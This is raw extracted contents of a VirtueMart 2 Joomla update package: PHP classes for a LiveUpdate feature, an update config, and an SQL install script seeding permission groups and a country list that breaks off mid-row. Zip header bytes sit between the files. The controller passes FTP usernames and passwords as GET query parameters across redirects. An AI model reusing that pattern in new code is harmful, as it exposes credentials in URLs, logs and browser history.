of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ( ($xml->document->name() != 'install') && ($xml->document->name() != 'extension') ) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { $xml = JFactory::getXMLParser('simple'); $result = $xml->loadFile($filename); if(!$result) continue; if(($xml->document->name() != 'install') && ($xml->document->name() != 'extension') && ($xml->document->name() != 'mosinstall')) continue; unset($xml); return $filename; } return false; } }PKsl>\gE_com_virtuemart_update/administrator/components/com_virtuemart/liveupdate/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); /** * The Live Update MVC controller */ class LiveUpdateController extends JController { private $jversion = '15'; /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); // Do we have Joomla! 1.6? if( version_compare( JVERSION, '1.6.0', 'ge' ) ) { $this->jversion = '16'; } $basePath = dirname(__FILE__); if($this->jversion == '15') { $this->_basePath = $basePath; } else { $this->basePath = $basePath; } $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. if(version_compare(JVERSION,'1.6.0','ge')) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = ($this->jversion == '15') ? $this->_basePath : $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = ($this->jversion == '15') ? $this->_task : $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { if ($item = $menu->getActive()) { $params =& $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return =& JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PKsl>\6Scom_virtuemart_update/administrator/components/com_virtuemart/liveupdate/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_virtuemart'; var $_extensionTitle = 'Virtuemart 2'; var $_updateURL = 'http://virtuemart.net/index.php?option=com_ars&view=update&format=ini&id=1'; var $_requiresAuthorization = false; var $_versionStrategy = 'different'; function __construct() { $this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem'; parent::__construct(); } }PKsl>\ǞHH_com_virtuemart_update/administrator/components/com_virtuemart/install/install_required_data.sqlnuW+A-- VirtueMart table data SQL script -- This will insert all sample data into the VirtueMart tables -- -- Dumping data for table `#__virtuemart_permgroups` -- INSERT INTO `#__virtuemart_permgroups` (`virtuemart_permgroup_id`, `group_name`, `group_level`) VALUES (1, 'admin', 0), (2, 'storeadmin', 250), (3, 'shopper', 500), (4, 'demo', 750); INSERT INTO `#__virtuemart_userfield_values` ( `virtuemart_userfield_id`, `fieldtitle`, `fieldvalue`, `sys`, `ordering`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MR', 'Mr', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MRS', 'Mrs', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'None', '', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Non-resident (Canada)', 'R', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Federal government (United States)', 'A', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'State government (United States)', 'B', 0, 2, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Tribe / Status Indian / Indian Band (both)', 'C', 0, 3, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Foreign diplomat (both)', 'D', 0, 4, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Charitable or benevolent org (both)', 'E', 0, 5, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Religious or educational org (both)', 'F', 0, 6, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Resale (both)', 'G', 0, 7, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial agricultural production (both)', 'H', 0, 8, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Industrial production / manufacturer (both)', 'I', 0, 9, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct pay permit (United States)', 'J', 0, 10, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct mail (United States)', 'K', 0, 11, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Other (both)', 'L', 0, 12, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Local government (United States)', 'N', 0, 13, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial aquaculture (Canada)', 'P', 0, 14, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial Fishery (Canada)', 'Q', 0, 15, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_countries` -- INSERT INTO `#__virtuemart_countries` (`virtuemart_country_id`, `virtuemart_worldzone_id`, `country_name`, `country_3_code`, `country_2_code`) VALUES (1, 1, 'Afghanistan', 'AFG', 'AF'), (2, 1, 'Albania', 'ALB', 'AL'), (3, 1, 'Algeria', 'DZA', 'DZ'), (4, 1, 'American Samoa', 'ASM', 'AS'), (5, 1, 'Andorra', 'AND', 'AD'), (6, 1, 'Angola', 'AGO', 'AO'), (7, 1, 'Anguilla', 'AIA', 'AI'), (8, 1, 'Antarctica', 'ATA', 'AQ'), (9, 1, 'Antigua and Barbuda', 'ATG', 'AG'), (10, 1, 'Argentina', 'ARG', 'AR'), (11, 1, 'Armenia', 'ARM', 'AM'), (12, 1, 'Aruba', 'ABW', 'AW'), (13, 1, 'Australia', 'AUS', 'AU'), (14, 1, 'Austria', 'AUT', 'AT'), (15, 1, 'Azerbaijan', 'AZE', 'AZ'), (16, 1, 'Bahamas', 'BHS', 'BS'), (17, 1, 'Bahrain', 'BHR', 'BH'), (18, 1, 'Bangladesh', 'BGD', 'BD'), (19, 1, 'Barbados', 'BRB', 'BB'), (20, 1, 'Belarus', 'BLR', 'BY'), (21, 1, 'Belgium', 'BEL', 'BE'), (22, 1, 'Belize', 'BLZ', 'BZ'), (23, 1, 'Benin', 'BEN', 'BJ'), (24, 1, 'Bermuda', 'BMU', 'BM'), (25, 1, 'Bhutan', 'BTN', 'BT'), (26, 1, 'Bolivia', 'BOL', 'BO'), (27, 1, 'Bosnia and Herzegowina', 'BIH', 'BA'), (28, 1, 'Botswana', 'BWA', 'BW'), (29, 1, 'Bouvet Island', 'BVT', 'BV'), (30, 1, 'Brazil', 'BRA', 'BR'), (31, 1, 'British Indian Ocean Territory', 'IOT', 'IO'), (32, 1, 'Brunei Darussalam', 'BRN', 'BN'), (33, 1, 'Bulgaria', 'BGR', 'BG'), (34, 1, 'Burkina Faso', 'BFA', 'BF'), (35, 1, 'Burundi', 'BDI', 'BI'), (36, 1, 'Cambodia', 'KHM', 'KH'), (37, 1, 'Cameroon', 'CMR', 'CM'), (38, 1, 'Canada', 'CAN', 'CA'), (39, 1, 'Cape Verde', 'CPV', 'CV'), (40, 1, 'Cayman Islands', 'CYM', 'KY'), (41, 1, 'Central African Republic', 'CAF', 'CF'), (42, 1, 'Chad', 'TCD', 'TD'), (43, 1, 'Chile', 'CHL', 'CL'), (44, 1, 'China', 'CHN', 'CN'), (45, 1, 'Christmas Island', 'CXR', 'CX'), (46, 1, 'Cocos (Keeling) Islands', 'CCK', 'CC'), (47, 1, 'Colombia', 'COL', 'CO'), (48, 1, 'Comoros', 'COM', 'KM'), (49, 1, 'Congo', 'COG', 'CG'), (50, 1, 'Cook Islands', 'COK', 'CK'), (51, 1, 'Costa Rica', 'CRI', 'CR'), (52, 1, 'Cote D''Ivoire', 'CIV', 'CI'), (53, 1, 'Croatia', 'HRV', 'HR'), (54, 1, 'Cuba', 'CUB', 'CU'), (55, 1, 'Cyprus', 'CYP', 'CY'), (56, 1, 'Czech Republic', 'CZE', 'CZ'), (57, 1, 'Denmark', 'DNK', 'DK'), (58, 1, 'Djibouti', 'DJI', 'DJ'), (59, 1, 'Dominica', 'DMA', 'DM'), (60, 1, 'Dominican Republic', 'DOM', 'DO'), (61, 1, 'East Timor', 'TMP', 'TP'), (62, 1, 'Ecuador', 'ECU', 'EC'), (63, 1, 'Egypt', 'EGY', 'EG'), (64, 1, 'El Salvador', 'SLV', 'SV'), (65, 1, 'Equatorial Guinea', 'GNQ', 'GQ'), (66, 1, 'Eritrea', 'ERI', 'ER'), (67, 1, 'Estonia', 'EST', 'EE'), (68, 1, 'Ethiopia', 'ETH', 'ET'), (69, 1, 'Falkland Islands (Malvinas)', 'FLK', 'FK'), (70, 1, 'Faroe Islands', 'FRO', 'FO'), (71, 1, 'Fiji', 'FJI', 'FJ'), (72, 1, 'Finland', 'FIN', 'FI'), (73, 1, 'France', 'FRA', 'FR'), (75, 1, 'French Guiana', 'GUF', 'GF'), (76, 1, 'French Polynesia', 'PYF', 'PF'), (77, 1, 'French Southern Territories', 'ATF', 'TF'), (78, 1, 'Gabon', 'GAB', 'GA'), (79, 1, 'Gambia', 'GMB', 'GM'), (80, 1, 'Georgia', 'GEO', 'GE'), (81, 1, 'Germany', 'DEU', 'DE'), (82, 1, 'Ghana', 'GHA', 'GH'), (83, 1, 'Gibraltar', 'GIB', 'GI'), (84, 1, 'Greece', 'GRC', 'GR'), (85, 1, 'Greenland', 'GRL', 'GL'), (86, 1, 'Grenada', 'GRD', 'GD'), (87, 1, 'Guadeloupe', 'GLP', 'GP'), (88, 1, 'Guam', 'GUM', 'GU'), (89, 1, 'Guatemala', 'GTM', 'GT'), (90, 1, 'Guinea', 'GIN', 'GN'), (91, 1, 'Guinea-bissau', 'GNB', 'GW'), (92, 1, 'Guyana', 'GUY', 'GY'), (93, 1, 'Haiti', 'HTI', 'HT'), (94, 1, 'Heard and Mc Donald Islands', 'HMD', 'HM'), (95, 1, 'Honduras', 'HND', 'HN'), (96, 1, 'Hong Kong', 'HKG', 'HK'), (97, 1, 'Hungary', 'HUN', 'HU'), (98, 1, 'Iceland', 'ISL', 'IS'), (99, 1, 'India', 'IND', 'IN'), (100, 1, 'Indonesia', 'IDN', 'ID'), (101, 1, 'Iran (Islamic Republic of)', 'IRN', 'IR'), (102, 1, 'Iraq', 'IRQ', 'IQ'), (103, 1, 'Ireland', 'IRL', 'IE'), (104, 1, 'Israel', 'ISR', 'IL'), (105, 1, 'Italy', 'ITA', 'IT'), (106, 1, 'Jamaica', 'JAM', 'JM'), (107, 1, 'Japan', 'JPN', 'JP'), (108, 1, 'Jordan', 'JOR', 'JO'), (109, 1, 'Kazakhstan', 'KAZ', 'KZ'), (110, 1, 'Kenya', 'KEN', 'KE'), (111, 1, 'Kiribati', 'KIR', 'KI'), (112, 1, 'Korea, Democratic People''s Republic of', 'PRK', 'KP'), (113, 1, 'Korea, Republic of', 'KOR', 'KR'), (114, 1, 'Kuwait', 'KWT', 'KW'), (115, 1, 'Kyrgyzstan', 'KGZ', 'KG'), (116, 1, 'Lao People''s Democratic Republic', 'LAO', 'LA'), (117, 1, 'Latvia', 'LVA', 'LV'), (118, 1, 'Lebanon', 'LBN', 'LB'), (119, 1, 'Lesotho', 'LSO', 'LS'), (120, 1, 'Liberia', 'LBR', 'LR'), (121, 1, 'Libya', 'LBY', 'LY'), (122, 1, 'Liechtenstein', 'LIE', 'LI'), (123, 1, 'Lithuania', 'LTU', 'LT'), (124, 1, 'Luxembourg', 'LUX', 'LU'), (125, 1, 'Macau', 'MAC', 'MO'), (126, 1, 'Macedonia, The Former Yugoslav Republic of', 'MKD', 'MK'), (127, 1, 'Madagascar', 'MDG', 'MG'), (128, 1, 'Malawi', 'MWI', 'MW'), (129, 1, 'Malaysia', 'MYS', 'MY'), (130, 1, 'Maldives', 'MDV', 'MV'), (131, 1, 'Mali', 'MLI', 'ML'), (132, 1, 'Malta', 'MLT', 'MT'), (133, 1, 'Marshall Islands', 'MHL', 'MH'), (134, 1, 'Martinique', 'MTQ', 'MQ'), (135, 1, 'Mauritania', 'MRT', 'MR'), (136, 1, 'Mauritius', 'MUS', 'MU'), (137, 1, 'Mayotte', 'MYT', 'YT'), (138, 1, 'Mexico', 'MEX', 'MX'), (139, 1, 'Micronesia, Federated States of', 'FSM', 'FM'), (140, 1, 'Moldova, Republic of', 'MDA', 'MD'), (141, 1, 'Monaco', 'MCO', 'MC'), (142, 1, 'Mongolia', 'MNG', 'MN'), (143, 1, 'Montserrat', 'MSR', 'MS'), (144, 1, 'Morocco', 'MAR', 'MA'), (145, 1, 'Mozambique', 'MOZ', 'MZ'), (146, 1, 'Myanmar', 'MMR', 'MM'), (147, 1, 'Namibia', 'NAM', 'NA'), (148, 1, 'Nauru', 'NRU', 'NR'), (149, 1, 'Nepal', 'NPL', 'NP'), (150, 1, 'Netherlands', 'NLD', 'NL'), (151, 1, 'Netherlands Antilles', 'ANT', 'AN'), (152, 1, 'New Caledonia', 'NCL', 'NC'), (153, 1, 'New Zealand', 'NZL', 'NZ'), (154, 1, 'Nicaragua', 'NIC', 'NI'), (155, 1, 'Niger', 'NER', 'NE'), (156, 1, 'Nigeria', 'NGA', 'NG'), (157, 1, 'Niue', 'NIU', 'NU'), (158, 1, 'Norfolk Island', 'NFK', 'NF'), (159, 1, 'Northern Mariana Islands', 'MNP', 'MP'), (160, 1, 'Norway', 'NOR', 'NO'), (161, 1, 'Oman', 'OMN', 'OM'), (162, 1, 'Pakistan', 'PAK', 'PK'), (163, 1, 'Palau', 'PLW', 'PW'), (164, 1, 'Panama', 'PAN', 'PA'), (165, 1, 'Papua New Guinea', 'PNG', 'PG'), (166, 1, 'Paraguay', 'PRY', 'PY'), (167, 1, 'Peru', 'PER', 'PE'), (168, 1, 'Philippines', 'PHL', 'PH'), (169, 1, 'Pitcairn', 'PCN', 'PN'), (170, 1, 'Poland', 'POL', 'PL'), (171, 1, 'Portugal', 'PRT', 'PT'), (172, 1, 'Puerto Rico', 'PRI', 'PR'), (173, 1, 'Qatar', 'QAT', 'QA'), (174, 1, 'Reunion', 'REU', 'RE'), (175, 1, 'Romania', 'ROM', 'RO'), (176, 1, 'Russian Federation', 'RUS', 'RU'), (177, 1, 'Rwanda', 'RWA', 'RW'), (178, 1, 'Saint Kitts and Nevis', 'KNA', 'KN'), (179, 1, 'Saint Lucia', 'LCA', 'LC'), (180, 1, 'Saint Vincent and the Grenadines', 'VCT', 'VC'), (181, 1, 'Samoa', 'WSM', 'WS'), (182, 1, 'San Marino', 'SMR', 'SM'), (183, 1, 'Sao Tome and Principe', 'STP', 'ST'), (184, 1, 'Saudi Arabia', 'SAU', 'SA'), (185, 1, 'Senegal', 'SEN', 'SN'), (186, 1, 'Seychelles', 'SYC', 'SC'), (187, 1, 'Sierra Leone', 'SLE', 'SL'), (188, 1, 'Singapore', 'SGP', 'SG'), (189, 1, 'Slovakia', 'SVK', 'SK'), (190, 1, 'Slovenia', 'SVN', 'SI'), (191, 1, 'Solomon Islands', 'SLB', 'SB'), (192, 1, 'Somalia', 'SOM', 'SO'), (193, 1, 'South Africa', 'ZAF', 'ZA'), (194, 1, 'South Georgia and the South Sandwich Islands', 'SGS', 'GS'), (195, 1, 'Spain', 'ESP', 'ES'), (196, 1, 'Sri Lanka', 'LKA', 'LK'), (197, 1, 'St. Helena', 'SHN', 'SH'), (198, 1, 'St. Pierre and Miquelon', 'SPM', 'PM'), (199, 1, 'Sudan', 'SDN', 'SD'), (200, 1, 'Suriname', 'SUR', 'SR'), (201, 1, 'Svalbard and Jan Mayen Islands', 'SJM', 'SJ'), (202, 1, 'Swaziland', 'SWZ', 'SZ'), (203, 1, 'Sweden', 'SWE', 'SE'), (204, 1, 'Switzerland', 'CHE', 'CH'), (205, 1, 'Syrian Arab Republic', 'SYR', 'SY'), (206, 1, 'Taiwan', 'TWN', 'TW'), (207, 1, 'Tajikistan', 'TJK', 'TJ'), (208, 1, 'Tanzania, United Republic of', 'TZA', 'TZ'), (209, 1, 'Thailand', 'THA', 'TH'), (210, 1, 'Togo', 'TGO', 'TG'), (211, 1, 'Tokelau', 'TKL', 'TK'), (212, 1, 'Tonga', 'TON', 'TO'), (213, 1, 'Trinidad and Tobago', 'TTO', 'TT'), (214, 1, 'Tunisia', 'TUN', 'TN'), (215, 1, 'Turkey', 'TUR', 'TR'), (216, 1, 'Turkmenistan', 'TKM', 'TM'), (217, 1, 'Turks and Caicos Islands', 'TCA', 'TC'), (218, 1, 'Tuvalu', 'TUV', 'TV'), (219, 1, 'Uganda', 'UGA', 'UG'), (220, 1, 'Ukraine', 'UKR', 'UA'), (221, 1, 'United Arab Emirates', 'ARE', 'AE'), (222, 1, 'United Kingdom', 'GBR', 'GB'), (223, 1, 'United States', 'USA', 'US'), (224, 1, 'United States Minor Outlying Islands', 'UMI', 'UM'), (225, 1, 'Uruguay', 'URY', 'UY'), (226, 1, 'Uzbekistan', 'UZB', 'UZ'), (227, 1, 'Vanuatu', 'VUT', 'VU'), (228, 1, 'Vatican City State (Holy See)', 'VAT', 'VA'), (229, 1, 'Venezuela', 'VEN', 'VE'), (230, 1, 'Viet Nam', 'VNM', 'VN'), (231, 1, 'Virgin Islands (British)', 'VGB', 'VG'), (232, 1, 'Virgin Islands (U.S.)', 